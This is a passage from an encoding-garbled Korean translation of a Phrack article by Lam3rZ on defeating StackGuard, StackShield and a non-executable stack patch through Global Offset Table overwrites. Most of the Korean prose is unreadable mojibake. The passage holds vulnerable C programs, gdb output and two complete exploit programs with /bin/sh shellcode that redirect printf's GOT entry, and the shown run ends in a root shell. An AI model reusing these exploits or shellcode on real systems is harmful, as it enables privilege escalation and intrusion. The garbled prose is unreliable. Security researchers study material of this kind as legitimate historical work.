ȯ°æ)À» ÀͽºÇ÷ÎÀÕ ½Ã Ű´Â ÇÑ ¹æ¹ýÀº ÇÁ·¢ 55¿¡ klog°¡ ¾´ "The Frame Pointer Overwrite"¿¡ ±â¼úµÇ¾î ÀÖ´Ù. StackShield ÇÁ·Î±×·¥ÀÌ '-z d'¿É¼ÇÀ¸·Î ÄÄÆÄÀÏµÈ´Ù¸é ±×°ÍÀº _exit()¸¦ È£ÃâÇÑ´Ù. ÇÏÁö¸¸ À̰ÍÀº ¿ì¸®¿¡°Ô ¹®Á¦°¡ ¾Æ´Ï´Ù. ----| Çѹݵµ¸¦ ¹ß°ßÇϱâ (¿ªÀÚ : ¿ø·¡´Â ¹Ì±¹(America)Àε¥... Á¦°¡ ±×³É °íÃÆÀ½) ¸¸¾à ½Ã½ºÅÛÀÌ StackGuard ¿Í StackPatch (½ºÅÃÀ» ½ÇÇàÇÒ ¼ö ¾ø°Ô ¸¸µå´Â Solar DesignerÀÇ ¼öÁ¤ÆÇ)·Î º¸È£µÇ¾îÁø´Ù¸é ¾î¶»°Ô ÇØ¾ß ÇÒ±î? À̰ÍÀÌ °¡Àå ³ª»Û ½Ã³ª¸®¿À Àϱî? ±×·¸Áö´Â ¾Ê´Ù. ¿ì¸®´Â À§¿¡¼­ »ç¿ëÇÑ ÀûÀÌ ¾ø´Â ´ë´ÜÇÑ ±â¼úÀ» °³¹ßÇß¾ú´Ù. µ¶ÀÚµéÀº Rafal WojtczulÀÇ ÈǸ¢ÇÑ ¹®¼­ " Defeating Solar Designer's Non-executable Stack Patch" [5]¸¦ ¶°¿Ã¸± °ÍÀÌ´Ù. ±×ÀÇ ´ë´ÜÇÑ ¾ÆÀ̵ð¾î´Â Global Offset Table(GOT)¸¦ ÆÐÄ¡ÇÏ´Â °ÍÀÌ´Ù. ¿ì¸®ÀÇ Ãë¾àÁ¡À¸·Î ¿ì¸®´Â ÀÓÀÇÀÇ Æ÷ÀÎÅ͸¦ »ý»êÇÒ ¼ö ÀÖ´Ù. ±×·³ GOT¸¦ °¡¸£ÄÑ º¸´Â °ÍÀº ¾î¶³±î? ¸Ó¸®¸¦ »ç¿ëÇÏÀÚ. Ãë¾àÇÑ ÇÁ·Î±×·¥À» º¸±â·Î ÇÏÀÚ. printf ("p=%x\t -- before 1st strcpy\n",p); strcpy(p,argv[1]); printf ("p=%x\t -- after 1st strcpy\n",p); strncpy(p,argv[2],16); printf("After second strcpy :)\n"); ÁÁ¾Æ. ÇÁ·Î±×·¥Àº ¿ì¸®ÀÇ Æ÷ÀÎÅÍ¿¡ ¿ì¸®ÀÇ ÁúÀÇ[argv[2]¸¦ ¾´´Ù. ±×·³ ±×°ÍÀº ¶óÀ̺귯¸® ÄÚµå printf()¸¦ ½ÇÇàÇÑ´Ù. OK, ±×·¡¼­ ¿ì¸®°¡ ÇØ¾ßÇÒ ÀÏÀº libc system() ÁÖ¼Ò·Î printf()ÀÇ GOT¸¦ µ¤¾î ¾²´Â °ÍÀÌ´Ù. ±×·³ ±×°ÍÀº system("After second strcpy :)\n");À» ½ÇÇàÇÒ °ÍÀÌ´Ù. ½ÇÁ¦·Î Å×½ºÆ® ÇØº¸ÀÚ. À̰ÍÀ» Çϱâ À§Çؼ­´Â ¿ì¸®´Â printf()ÀÇ Procedure Linkage Table(PLT)¸¦ ¿ª¾î¼ÀºíÇØ¾ß ÇÑ´Ù. [root@sg]# gdb vul GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support [...] This GDB was configured as "i386-redhat-linux"... (gdb) x/2i printf 0x804856c : jmp *0x8049f18 <- printf()'ÀÇ GOT ¿£Æ®¸® 0x8048572 : pushl $0x8 (gdb) OK. ±×·¡¼­ printf()ÀÇ GOT ¿£Æ®¸® °ªÀº 0x8049f18ÀÌ´Ù. ¿ì¸®¿¡°Ô ÇÒ ÀÏÀº ÀÌ À§Ä¡( 0x8049f18)¿¡ libc system() ÁÖ¼Ò¸¦ ³õ´Â °ÍÀÌ ÀüºÎÀÌ´Ù. RafalÀÇ ±Û¿¡ µû¸£¸é ¿ì¸®´Â ¿ì¸®ÀÇ system() ÁÖ¼Ò¸¦ °è»êÇÒ ¼ö ÀÖ´Ù. ±× ±Û¿¡¼­´Â 0x40044000+0x2e740·Î ³ª¿Í ÀÖ´Ù. 0x2e740Àº libc ¶óÀ̺귯¸® ³»¿¡ __libc_system()ÀÇ ¿ÀÇÁ¼ÂÀÌ´Ù. [root@sg]# nm /lib/libc.so.6| grep system 0002e740 T __libc_system 0009bca0 T svcerr_systemerr 0002e740 W system [ °øÁö : µ¶ÀÚ´Â ¿ì¸®°¡ SolarÀÇ ÆÐÄ¡°¡ Àû¿ëµÇÁö ¾ÊÀº Ä¿³ÎÀ» »ç¿ëÇϰí ÀÖ´Ù°í ´«Ä¡ ä°í ÀÖÀ» °ÍÀÌ´Ù. ¿ì¸®´Â ºÎÆÃÈÄ init(8) haltÀÇ ¹®Á¦¸¦ °¡Áö°í ÀÖ´Ù. ±×·¡¼­ À̱ÛÀ» phrack Ãø¿¡ ³Ñ°Ü¾ß ÇÒ ½Ã°£µµ °ÅÀÇ ´Ù µÇ¾î°¡°í ÇØ¼­ Ä¿³Î ÆÐÄ¡°¡ Àû¿ëµÇÁö ¾ÊÀº °ÍÀ¸·Î Çϱâ·Î °áÁ¤Çß´Ù. ±×·¡¼­ º¯È­µÈ ºÎºÐÀÌ 0x40 ºÎºÐÀÌ´Ù. SolarÀÇ ÆÐÄ¡°¡ Àû¿ëµÈ ½Ã½ºÅÛ»ó¿¡¼­´Â libc´Â 0x00XXYYZZÀÌ´Ù. ±×·¡¼­ ¿¹·Îµç À§ ÁÖ¼Ò°¡ 0x00044000+0x2e740ÀÎ °ÍÀÌ´Ù. 0x00À¸·Î ½ÃÀÛÇÏ´Â °ÍÀº ¿ì¸®ÀÇ ¹®ÀÚ¿­ÀÌ Á¾·áµÇ ¾úÀ½À» ÀǹÌÇÑ´Ù. StackPatch°¡ StackGuard¿Í ÀߺٴÂÁö´Â ¿ì¸®´Â 100% Àå´ãÀ» ÇÏÁö ¸øÇÑ´Ù. ±×°ÍÀº ºÙ¿©¾ß¸¸ ¸¸´Ù. ¤Ð.¤Ð ¸¸¾à ±×·¸Áö ¾Ê´õ¶óµÎ ¾î¶»ÄÉµç ºÙÀϼö ÀÖÀ» °ÍÀÌ´Ù. ¤Ð.¤Ð ¿ì¸®´Â ¾ÆÁ÷ È®½ÇÇÏÁö ¾Ê´Ù. ¸¸¾à ¾î¶² ¾Æ´Â °ÍÀÌ ÀÖ´Ù¸é ¿ì¸®¿¡ °Ô ¸»ÇØ´Þ¶ó. ] OK, ´ÙÀ½ÀÇ ÀͽºÇ÷ÎÀÕÀ» Å×½ºÆ®Çغ¸ÀÚ. [root@sg]# cat 3ex3.c /* Example exploit no. 3 (c) by Lam3rZ 1999 :) */ char *env[3]={"PATH=.",0}; char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; char addr[5]="AAAA\x00"; char buf[46]; int * p; main() { memset(buf,'A',36); p = (int *)(buf+32); *p++=0x8049f18;// <== printf() GOT ¿£Æ®¸® ÁÖ¼Ò p = (int *)(addr); *p=0x40044000+0x2e740;// <<== libc system()ÀÇ ÁÖ¼Ò printf("Exec code from %x\n",*p); execle("./vul",shellcode,buf,addr,0,env); } Å×½ºÆ® ÇØº¸ÀÚ!!!! [root@sg]# gcc 3ex3.c [root@sg]# ./a.out Exec code from 40072740 p=bffffec4 -- before 1st strcpy p=8049f18 -- after 1st strcpy sh: syntax error near unexpected token `:)' sh: -c: line 1: `After second strcpy :)' Segmentation fault (core dumped) Èì... ÀÛµ¿ÇÏÁö ¾Ê¾Ò´Ù. ºÒÇàÇϰԵµ ½ÇÇàµÇ¾úÀ» ¶§ printf() ¹®ÀÚ¿­ÀÌ Æ¯Á¤ÇÑ ½© ¹®ÀÚµéÀ» Æ÷ÇÔÇϰí ÀÖ´Ù. ´ëºÎºÐÀÇ °æ¿ì ¸¸¾à ¿ì¸®°¡ system() ½ÇÇàÇϱâ À§Çؼ­ printf()¸¦ ÀͽºÇ÷ÎÀÕ Çß´Ù¸é ±×°ÍÀº "Here we blah, blah and blah"¿Í °°Àº °ÍÀ» ½ÇÇà ÇÒ °ÍÀÌ´Ù. ±× ÇØ¼­ ¿ì¸®°¡ ¿ì¸®ÀÇ µð·ºÅ丮¿¡ "Here" ½© ½ºÅ©¸³Æ®¸¸ ¸¸µé¸é µÇ¾ú´Ù. (±×·¸´Ù, ¿ì¸®´Â ¿ì¸®ÀÇ suid ÇÁ·Î±×·¥À» PATH º¯¼ö¿¡ ¼¼ÆÃÇÒ Çʿ䰡 ¾ø´Ù.) ±×·¡¼­ ¿ì¸®ÀÇ ¿¹»óÇÏÁö ¸øÇÑ ':)' À» À§ÇØ ÇØ¾ß ÇÒ ÀÏÀº ¹«¾ùÀΰ¡? À̰ÍÀº ¸¶Áö¸· ÀÎÀÚ·Î½á Æò¹üÇÑ ÅØ½ºÆ®¸¦ °¡Á®¿À´Âµ¥ ÀÇÁ¸ÇÑ´Ù. ¶§¶§·Î ´ç½ÅÀº printf() ¿¡ ´ëÇÑ °ÍÀ» ÀØ°í ¿ì¸®ÀÇ ÀͽºÇÁ·ÎÀÕ µÚ¿¡ ½ÇÇàµÇ´Â ÇÔ¼ö¸¦ ã¾Æ¾ß ÇÒ ¶§µµ ÀÖ´Ù. ÇÏÁö¸¸ ¶§¶§·Î ¿ì¸®´Â Çà¿îÀ» ¾òÀ» ¼öµµ ÀÖ´Ù. ¿ì¸®ÀÇ a[] ¹öÆÛ´Â ¸¶Áö¸· Áö¿ª º¯¼öÀÓÀ» »ó»óÇ϶ó ±×·¡¼­ ¿ì¸®ÀÇ Ãë¾àÇÑ ÇÔ¼ö·Î È£ÃâµÇ´Â ÇÔ¼öµé Áö³ª ÀÖ´Â ÀÎÀÚµéÀº ½ºÅÃ»ó¿¡ ¿·¿¡ ÀÖÀ» °Í ÀÌ´Ù. canary¸¦ pushÇÏ´Â °ÍÀ» Áö³ªÄ¡µµ·Ï __libc_system()¿¡ ¼³µæÇØ º¸´Â °ÍÀº ¾î¶³±î? ¿ì¸®´Â __libc_system() ´ë½Å¿¡ __libc_system()À¸·Î Á¡ÇÁÇÔÀ¸·Î½á À̰ÍÀ» ÀÌ·ê ¼ö ÀÖÀ» °ÍÀÌ´Ù. ±×·³. ´ÙÀ½ ÀÚ¸®·Î +ÀÎÀÚ ¸¸Å­ ½ÃÇÁÆ®Çϱ⠵ɰÍÀÌ´Ù. (°£´ÜÈ÷ ¸»Çϸé arg1 -> arg2 °¡ µÊ) ±×¸®°í ½ºÅûóÀÇ ¸¶Áö¸· Áö¿ª º¯¼öÀÇ Ã³À½ 4¹ÙÀÌÆ®´Â óÀ½ ÀÎÀÚ·Î ´Ù·ç¾îÁú °ÍÀÌ´Ù. printf() È£ÃâÀº ´ÜÁö ÇϳªÀÇ ÀÎÀÚ¸¦ ³²¿ëÇϱâ À§Çؼ­´Ù. ±×·¡¼­ system() ÇÔ¼ö°¡ ¾òÀ» ÀÎÀÚ´Â ´ÜÁö a[] ÀÇ Ã³À½ 4¹ÙÀÌÆ®¿¡ Æ÷ÇÔµÈ Æ÷ÀÎÅÍÀ» °ÍÀÌ´Ù. ±×·³ ±×°ÍÀ» '/bin/sh'À» °¡¸£Å°°Ô ÇÏ °Å³ª ´Ù¸¥ ºñ½ÁÇÑ °ÍÀ» °¡¸£Å°°Ô ÇÏ¸é µÈ´Ù. StackGuard, StackShield ±×¸®°í StackPatch¸¦ ÀÛµ¿ÇÏ´Â °÷¿¡¼­´Â GOT¸¦ µ¤¾î½á¶ó. ±×°ÍÀº ¿ì¸®°¡ ¸ðµç ÁúÀǸ¦ ´Ù·ê ¼ö ¾ø°í ¾î¶² ºÎºÐ¸¸ º¹»çÇÒ ¼ö ÀÖ´Â ´É·Â¸¸ ÀÖÀ» °æ¿ì¿¡ »ç¿ëµÇ¾î Áú¼ö ÀÖ´Ù. ( wu-ftpd¿¡¼­ ó·³) ----| "¹ÝÁö¸£¸£ÇÑ ±æ" (¿ªÀÚ ÁÖ : Á¡Á¡ °¡¼Óµµ°¡ ºÙ¾î °¡´Â ±æÀ» ¸»ÇÔ) µ¶ÀÚµéÀº ¾Æ¸¶ ¿ì¸®°¡ ´ÜÁö °íÁöÁ÷ÇÑ ¿¹µé¸¸ ´Ù·ç¾ú°í, ±×°ÍÀÌ ½ÇÁ¦ »óȲ¿¡¼­´Â ã±â ¾î ·Á¿ï °ÍÀÌ´Ù¶ó°í »ý°¢ÇÒ °ÍÀÌ´Ù. ¹®ÀÚ¿­ÀÇ ¸ðµç °ÍÀ» ÀÎÀÚ·Î ¹Þ´Â Ãë¾àÇÑ ÇÔ¼ö´Â ´Ù¼Ò ÀÌ»óÇÏ´Ù. Á» ´õ Çö½Ç¼º ÀÖ´Â ÇÔ¼ö¸¦ ¾Æ¸¶ ´ç½ÅÀº ¹Ø¿¡¼­ ãÀ» °ÍÀÌ´Ù. int f (char *string) { [...] char *p; char a[64]; [...] À̰ÍÀ» üũÇÏÀÚ: char dst_buffer[64]; /* ¸¶Áö¸· µµÂøÁ¡ */ int f (char * string) { char *p; char a[64]; p=dst_buffer; /* Æ÷ÀÎÅÍ ÃʱâÈ­ */ printf ("p=%x\t -- before 1st strcpy\n",p); strcpy(a, string); /* ¹®ÀÚ¿­ */ /* ÇØ¼®Çϱâ, º¹»çÇϱâ, ¿¬°áÇϱâ.. ¹®ÀÚ¿­ Èæ¸¶¼ú~~(-_-;)(black-string-magic) */ /* ¿¹½º!, ¿ì¸®ÀÇ µ¥ÀÌÅ͸¦ ¿À¿°½Ãų °ÍÀÌ´Ù. printf ("p=%x\t -- after 1st strcpy\n",p); strncpy(p, a, 64); /* ¹®ÀÚ¿­ Àß¶ó³»±â */ printf("After second strcpy ;)\n"); } int main (int argc, char ** argv) { f(argv[0]); /* ¼­¹® */ printf("End of program\n"); } ´ç½ÅÀº ÇϳªÀÇ ¹®ÀÚ¿­¸¸ Åë°ú½ÃÅ´À¸·Î½á Ãë¾àÇÑ ÇÔ¼ö¿Í »óÈ£ ´ëÈ­ÇÑ´Ù. ÇÏÁö¸¸ ¿ì¸®°¡ ºñ-½ÇÇà ½ºÅÃÀÇ ½Ã½ºÅÛÀ» ´Ù·ç°Ô µÉ¶© ¾î¶»°Ô ÇØ¾ßÇÒ±î? ±×¸®°í ¶ó À̺귯¸®°¡ ´Ù¼Ò ÀÌ»óÇÑ ÁÖ¼Ò(¾È¿¡ NULLÀÌ µé¾î°¡ÀÖ´Â)·Î ¸ÅÇεǾî ÀÖÀ¸¸é ¾î¶» °Ô ÇÒ°¡? ½ºÅÃÀÌ ºñ-½ÇÇàÀ¸·Î µÇ¾î Àֱ⠶§¹®¿¡ ¿ì¸®´Â ½ºÅûóÀÇ ¿ì¸®ÀÇ ÁÖ¼Ò¸¦ GOT·Î ÆÐÄ¡½Ãų ¼ö ¾ø´Ù. ¸¶Ä¡ µÚƲ¸° °Í ó·³ º¸ÀδÙ. ÇÏÁö¸¸ Àß ÀоîºÁ¶ó!! ¿ì¸®ÀÇ ½Ã½ºÅÛÀº x86¿¡ ±â¹ÝÇϰí ÀÖ À¸¸ç ƯÁ¤ ¸Þ¸ð¸® ÆäÀÌÁö¸¦ ½ÇÇàÇÏ°Ô ÇÏ´Â ´É·Â¿¡ °üÇÑ À߸øµÈ °³³äµéµµ ¸¹ÀÌ ÀÖ´Ù. /proc/*/maps¸¦ üũÇÏÀÚ. 00110000-00116000 r-xp 00000000 03:02 57154 00116000-00117000 rw-p 00005000 03:02 57154 00117000-00118000 rw-p 00000000 00:00 0 0011b000-001a5000 r-xp 00000000 03:02 57139 001a5000-001aa000 rw-p 00089000 03:02 57139 001aa000-001dd000 rw-p 00000000 00:00 0 08048000-0804a000 r-xp 00000000 16:04 158 0804a000-0804b000 rw-p 00001000 16:04 158 <-- GOT ºÎºÐÀº À̰÷ÀÌ´Ù. bfffd000-c0000000 rwxp ffffe000 00:00 0 GOT°¡ ºñ-½ÇÇàÀ¸·Î º¸ÀδÙ. ÇÏÁö¸¸ ³î¶ø°Ô ¾Æ´Ï´Ù!!!!! ¿À·¡µÈ ÀÎÅÚ CPU´Â ´ç½Å ¹Ù¶ó´Â °÷ÀÇ GOT¸¦ ½ÇÇàÇÔÀ» Çã¶ôÇÑ´Ù. ±×·¡¼­ ¿ì¸®°¡ ÇØ¾ß ÇÒ °ÍÀº ±×°÷¿¡ ½©Äڵ带 ¿Ã·Á ³õ±¸ GOT ¿£Æ®¸®¸¦ ±×°÷À» °¡¸£Å°°Ô Çϱ¸ ³ª¼­ ÀÇÀÚµÚ·Î ´©¿ö °¡°ã°Ô ±×°ÍÀ» Áñ±â´Â °ÍÀÌ ÀüºÎÀÌ´Ù. ±×°ÍÀ» ½±°Ô Çϱâ À§Çؼ­, ¿©±â Á¶±ÝÀÇ ÈùÆ®°¡ ÀÖ´Ù. ¿ì¸®°¡ Á¦°øÇÏ´Â ÀͽºÇ÷ÎÀÕ Äڵ忡¼­ µÎ ÁÙ¸¸ ¹Ù²ãÁÖ¸é µÈ´Ù. *p=0x8049f84; // ¿ì¸®ÀÇ strncpy ÀÛµ¿ÀÇ µµÂøÁ¡ [...] *p=0x8049f84+4; // ¿ì¸®ÀÇ ½©ÄÚµåÀÇ ÁÖ¼Ò ¿ì¸®°¡ ÇØ¾ß ÇÒ ÀÏÀº ¿ì¸®°¡ ¿øÇÏ´Â °÷¿¡ Á¤È®È÷ ½©Äڵ带 º¹»çÇÒ ¼ö ÀÖ´Â º¹»ç °úÁ¤ÀÌ ´Ù. ¿ì¸®ÀÇ ½©ÄÚµå´Â ÃÖÀûÈ­µÇ¾î ÀÖÁö ¾Ê´Ù. ±×·¡¼­ ±×°ÍÀº 40¹ÙÀÌÆ® º¸´Ù ´õ Å©´Ù. ÇÏÁö¸¸ ´ç½ÅÀÌ Á»´õ ¿µ¸®ÇÏ´Ù¸é ÃæºÐÈ÷ ´ç½ÅÀº jmp, call, poplµîÀ» Á¦°ÅÇØ¼­ ÀÛ°Ô ½©ÄÚ µå¸¦ ¸¸µé ¼ö Àֱ⠶§¹®ÀÌ´Ù. (jmp, call, popl¸¦ Á¦°ÅÇÏ´Â °ÍÀº ÀÌ¹Ì ´ç½ÅÀÇ ÁÖ¼Ò¸¦ ¾Ë°í Àֱ⠶§¹®¿¡ Á¦°ÅÇÒ ¼ö ÀÖ´Ù.) ¿ì¸®°¡ °í·ÁÇØ¾ß ÇÒ ´Ù¸¥ °ÍÀº ½Ã±×³ÎµéÀÌ´Ù. ÇÔ¼öÀÇ ½Ã±×³Î Çڵ鷯´Â À߸øµÈ(fuck up) GOT·Î ÇÔ¼ö¸¦ È£ÃâÇÒ·Á°í ÇÒ°ÍÀÌ´Ù. ±×·³ ÇÁ·Î±×·¥Àº »¸¾î¹ö¸¦ °ÍÀÌ´Ù. ÇÏÁö¸¸ ±×°ÍÀº ´ÜÁö ÀÌ·ÐÀûÀÎ À§Ç輺ÀÌ´Ù. ÀÌÁ¦ ¹«¾ùÀ» ÇØ¾ß ÇÒ±î? ¿ì¸®ÀÇ Ãë¾àÇÑ ÇÁ·Î±×·¥ÀÌ ¸¾¿¡ µéÁö ¾Ê³ª? ±×°ÍÀÌ ´ç½Å¿¡°Ô ´Ù¼Ò ºñÇö½ÇÀûÀ¸·Î º¸ÀÌÁö ¾Ê³ª? ±×·³ ¿ì¸®´Â ´ç½ÅÀÌ ¹Ù¶ó´Â °ÍÀ» ¸¸Á·½ÃÄÑ ÁÖÁö: char global_buf[64]; int f (char *string, char *dst) { char a[64]; printf ("dst=%x\t -- before 1st strcpy\n",dst); printf ("string=%x\t -- before 1st strcpy\n",string); strcpy(a,string); printf ("dst=%x\t -- after 1st strcpy\n",dst); printf ("string=%x\t -- after 1st strcpy\n",string); // °ø±ÞµÈ ¹®ÀÚ¿­¿¡ ÀÇÇØ ¸î¸î Èæ¸¶¼úÀÌ ÇàÇØÁ³´Ù. strncpy(dst,a,64); printf("dst=%x\t -- after second strcpy :)\n",dst); } main (int argc, char ** argv) { f(argv[1],global_buf); execl("back_to_vul","",0); //<-- ½ÇÆÐÇÏ´Â ½ÇÇ౸¹®. // À̰ÍÀ» ³ÖÀº ¾î¶² ÀÌÀ¯µµ ¾ø´Ù. ±â³É~ // :) printf("End of program\n"); } ÀÌ ¿¹Á¦¿¡¼­ ¿ì¸®´Â canary ¿Í RET °ª µÚ ½ºÅÃ»ó¿¡ Á¸ÀçÇÏ´Â ¿ì¸®ÀÇ Æ÷ÀÎÅÍ(dst)¸¦ °¡ Áö°í ÀÖ´Ù. ±×·¡¼­ ¿ì¸®´Â canary¸¦ Á×ÀÌ´Â °Å ¾øÀÌ RET¸¦ º¯È­½Ãų ¼ö ¾ø´Ù. ÀâÀ» °Í µµ ¾øÀÌ.... ȤÀº ¿ì¸®°¡ ÇÒ ¼ö ÀÖÀ»±î? StackGuard ¿Í StackShield ´Â ±×°ÍÀÇ È£ÃâÀÚ·Î ¸®ÅÏÇϱâ Àü¿¡ RET°¡ ¹Ù²î¾ú´ÂÁö üũÇÑ´Ù. (À̰ÍÀº ÇÔ¼öÀÇ ¸Ç µÚ¿¡ ÇàÇØÁø´Ù.) ´ëºÎºÐÀÇ °æ¿ì¿¡¼­ ¿ì¸®´Â Ãë¾àÇÑ ÇÁ·Î±×·¥ À» ÄÜÆ®·Ñ ÇÒ¼ö ÀÖ´Â ÃæºÐÇÑ ½Ã°£À» °¡Áö°í ÀÖ´Ù. ¿ì¸®´Â ´ÙÀ½À¸·Î È£ÃâµÈ ¶óÀ̺귯¸® ÇÔ¼öÀÇ GOT ¿£Æ®¸®¸¦ µ¤¾î¾¸À¸·Î½á ±×°ÍÀ» ÇÒ ¼ö ÀÖ ´Ù. ¿ì¸®´Â canary°¡ »ì¾ÆÀÖ´ÂÁö ȤÀº Á×¾ú´ÂÁö »ó°üÇÒ ÇÊ¿ä¾ø°í, ¸®Äà º¯¼öµéÀÇ ¼ø¼­¿¡ °üÇØ °ÆÁ¤ÇÒ Çʿ䰡 ¾ø´Ù. ´ÜÁö Áñ±â¸é µÇ´Â °ÍÀÌ´Ù. À̰ÍÀÌ ÀͽºÇ÷ÎÀÕÀÌ´Ù: /* Example exploit no. 4 (c) by Lam3rZ 1999 :) */ char shellcode[] = // 48 chars :) "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; char buf[100]; int * p; main() { memset(buf,'A',100); memcpy(buf+4,shellcode,48); p = (int *)(buf+80); // <=- µÎ¹øÂ° f() ÀÎÀÚÀÇ ¿ÀÇÁ¼Â [dest one] *p=0x8049f84;// <<== printfÀÇ GOT ¿£Æ®¸® p = (int *)(buf); *p=0x8049f84+4;// <<== printfÀÇ GOT ¿£Æ®¸® + 4, ¿ì¸®ÀÇ ½©Äڵ尡 ÀÖ´Ù. :) execle("./vul2","vul2",buf,0,0); } °á°ú´Â ÀÌ·¸´Ù. [root@sg]# ./a.out p=804a050 -- before 1st strcpy argv1p=bfffff91 -- before 1st strcpy p=8049f84 -- after 1st strcpy argv1=41414141 -- after 1st strcpy bash# ----| °á·Ð 1) StackGuard/StackShield ´Â ¿ì¿¬ÇÑ ¹öÆÛ ¿À¹öÇ÷οìÀÇ °æ¿ì¿¡ ´ç½ÅÀ» ±¸ÇØ ÁÖ°ÚÁö¸¸ ÇÁ·Î±×·¡¸ÓÀÇ ¾î¸®¼®À½¿¡ ´ëÇØ¼­´Â ¾Æ´Ò °ÍÀÌ´Ù. Erreare humanum est, [¿ªÀÚ : ¹º¸»ÀÎ Áö ¸ð¸£°Ú³×¿ä.. ½ºÆäÀÎ ¸» °°±âµÎ Çϱ¸... ²þ... ¤Ð.¤Ð] ¿ÇÀº ¼Ò¸®ÀÌ´Ù. ÇÏÁö¸¸ º¸¾È ÇÁ·Î±×·¡ ¸ÓµéÀº ´Ü¼øÈ÷ Àΰ£ÀÌ¸é ¾ÈµÈ´Ù. ±×µéÀº º¸¾ÈÀ»-¾Æ´Â-Àΰ£ÀÌ¿©¾ß ÇÑ´Ù. 2) - ´ç½ÅÀÇ Äڵ带 °¨»çÇÔÀ¸·Î½á - ´ç½ÅÀº Á¶±ÝÀÇ ½Ã°£À» º¸³»°Ô µÉ°ÍÀÌ´Ù. ÇÏÁö¸¸ ´ç½ÅÀº ´ç½ÅÀÌ Â¥´Â ÇÁ·Î±×·¥ÀÇ º¸¾ÈÀ» ³ôÀÏ ¼ö °¡ ÀÖÀ» °ÍÀÌ´Ù. - StackGuard/StackShield/´Ù¸¥ ¹«¾ùÀ» »ç¿ëÇÔÀ¸·Î½á - ´ç½ÅÀº ´ç½ÅÀÇ ½Ã½ºÅÛ ¼öÇà´É·Â À» ¶³¾î¶ß¸± °ÍÀÌÁö¸¸ °á°úÀûÀ¸·Î º¸¾È ·¹º§À» ³ôÀÏ °ÍÀÌ´Ù. - ´ç½ÅÀÇ ÇÁ·Î±×·¥À» º¸È£ÇÏÁö´Â ¾î¶² Àϵµ ÇÏÁö ¾ÊÀ» ¶§ - ¾î¶² »ç¶÷Àº ´ç½ÅÀÇ Äڵ带 ¿À¹öÇà ·Î¿ì ½ÃÄÑ ÀͽºÇ÷ÎÀÕ ÇÔÀ¸·Î½á ´ç½ÅÀ» À§ÇèÇÏ°Ô ÇÒ °ÍÀÌ´Ù. ¸¸¾à ±×°ÍÀÌ ÀϾÀ» ¶§ ´ç½Å Àº ³¡À峯 °ÍÀÌ´Ù. -_- [¿ªÀÚ : ¹«¼·´ç...] ±×·¡¼­ ¿Ïº®ÇÏ°Ô ¹æ¾î¶ó°í º¸È£Ç϶ó ±×·¸Áö ¾ÊÀ½ ´Ù¸¥ »ç¶÷µéÀÌ ´ç½ÅÀ» ÇÏÂú°Ô º¼°ÍÀÌ´Ù. ¿ì¸®´Â ¾î¶² ÈǸ¢ÇÑ ¸àÆ®³ª ÁõÁøÀ» À§ÇÑ Ãæ°í¸¦ ȯ¿µÇϰí ÀÖ´Ù. ´ç½ÅÀº Lam3rz ¸ÞÀϸµ ¸®½ºÆ® ·Î ¿ì¸®¿Í ¿¬¶ôÇÒ ¼ö ÀÖ´Ù. ³×, ³×... ¿ì¸®´Â ¾Ë°í ÀÖ´Ù!!! ¾ÆÁ÷ ½ÇÁ¦·Î ÀÛµ¿ÇÏ´Â ÀͽºÇ÷ÎÀÕÀÌ ¾ø´Ù´Â °ÍÀ» :( ¿ì¸®´Â ±×°ÍÀ» À§ÇØ ÀÏÇϰí ÀÖ´Ù. ¾ðÁ¦³ª ÀÌ È¨ÆäÀÌÁö¸¦ Ã¼Å©ÇØ º¸¶ó. http://emsi.it.pl/ ¿Í http://lam3rz.hack.pl/ ----| Ãß°¡ : 2000³â 1¿ù 5ÀÏ ¿ì¸®´Â Solar DesignerÀÇ ºñ-½ÇÇà(non-executable) ½ºÅà ÆÐÄ¡¸¦ ÇÑ StackGuard ¹®Á¦¸¦ ÇØ°áÇß´Ù. ¿ì¸®´Â ¹«¾ùÀÌ ¹®Á¦ÀÎÁö´Â ¸ð¸£°ÚÁö¸¸ ±×°ÍÀ» ÇÇÇϱâ À§Çؼ­´Â Ä¿³Î ¼³Á¤½Ã 'Autodetect GCC trampolines' ¿Í 'Emulate trampoline calls'¸¦ °¡´ÉÇÏ°Ô Ç϶ó. ¿ì¸®´Â StackGuard ¿Í Æ®·¥Æú¸°(trampoline ¿ªÀÚ ÁÖ : »çÀüÀ» º¸´Ï "¼èƲ ¾È¿¡ ½ºÇÁ¸µÀ» ´Ü ÁîÅ©ÀÇ Åº¼ºÀ» ÀÌ¿ëÇÏ¿© µµ¾àÇÏ´Â ¿îµ¿±â±¸"¶ó°í µÇ¾î Àֳ׿ä.. ¹ºÁö ´ëÃæ ±â¾ïÀÌ ³ª´Âµ¥ À̸§ÀÌ ¾î¶»°Ô µÆ´ÂÁö´Â ±â¾ïÀÌ °¡¹°°¡¹°....)ÀÌ ¾ø´Â ÇÏÁö¸¸ ºñ-½ÇÇà »ç¿ëÀÚ ½ºÅÃÀ» °¡Áö°í ÀÖ´Â ½½·¢¿þ¾î ¸® ´ª½º¸¦ »ç¿ëÇϰí ÀÖ´Ù. ÇÏÁö¸¸ StackGuard¸¦ »ç¿ëÇÏ´Â RH ¸®´ª½º´Â ±×·¯ÇÑ ¼³Á¤¿¡¼­ÀÇ ÀÛ ¾÷À» °ÅºÎÇÑ´Ù. :) ----| °í¸¶¿î ºÐµé A18 team, HERT, CocaCola, Raveheart ("Nelson Mengele..."À§ÇÑ ³ë·¡ ¸¸µç ºÐµé). Nergal, mo¿e by?si?tak ujawni? ;) Po raz kolejny chcialbym zaznaczyc, ze jestem tylko zwyczajnym Lam3rem. - Kil3r people I've been drinking with - because i've been drinking with you :) people I'd like to drink with - because i will drink with you :) people smarter than me - because you're better than I am ¡ÆÊ£ÑÓ?±æê³ñó?/4 - for being wonderful iso-8859-2 characters Lam3rz - alt.pe0p1e.with.sp311ing.pr0b1emZ :) koralik - ... just because - Bulba ----| References [1] Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole, Peat Bakke, Steave Beattie, Aaron 